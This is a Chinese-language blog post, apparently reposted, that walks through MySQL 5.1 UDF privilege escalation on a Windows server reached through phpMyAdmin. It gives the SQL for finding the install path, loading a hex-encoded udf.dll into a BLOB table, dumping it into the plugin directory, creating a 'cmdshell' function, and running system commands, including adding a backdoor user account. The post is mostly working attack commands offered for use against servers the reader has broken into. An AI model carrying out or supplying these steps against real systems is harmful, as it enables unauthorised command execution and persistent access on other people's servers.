觉得很典型的案例,就转载过来了。很多时候phpmyadmin都需要路劲才能写shell。否则拿到了myadmin也是无奈。
查看mysql版本 select version();
版本是5.1 大家都知道mysql udf提权 5.0以下的要导出到c:\windows\或者c:\windows\system32目录下 而5.1必须要导出到mysql安装目录下的lib\plugin目录下 我们怎么知道Mysql安装目录呢? 执行 select @@basedir;
得出mysql安装路径
C:\PHPnow-1.5.6\MySQL-5.1.50\ 由于是mysql版本5.1的 所以要导出到C:\PHPnow-1.5.6\MySQL-5.1.50\lib\plugin目录下 然后执行 CREATE TABLE udftest(udf BLOB); //创建一个临时表
然后把udf.dll转换为hex代码 然后插到这个表里面
执行SQL: INSERT into udftest values (CONVERT(这里换成你的UDF的HEX编码,CHAR));
然后导出udf SELECT udf FROM udftest INTO DUMPFILE 'C:\\PHPnow-1.5.6\\MySQL-5.1.50\\lib\\plugin\\udf.dll';--
这里后面一定要带--的注释符否则会不成功!我在这里纠结了半个小时,还好有百度 --!
导出成功了 删除掉临时表 执行DROP TABLE udftest; 然后创建CMDSHELL函数 create function cmdshell returns string soname 'udf.dll'
然后执行 select cmdshell('net user');
你会发现不回显内容,只需把那个显示BLOB内容勾选上九OK了
看一下效果。
乱码不用管,直接添加个用户试试 select cmdshell('net user f4ck 123456 /add');
OK,我们来看一下加上去了没有。
|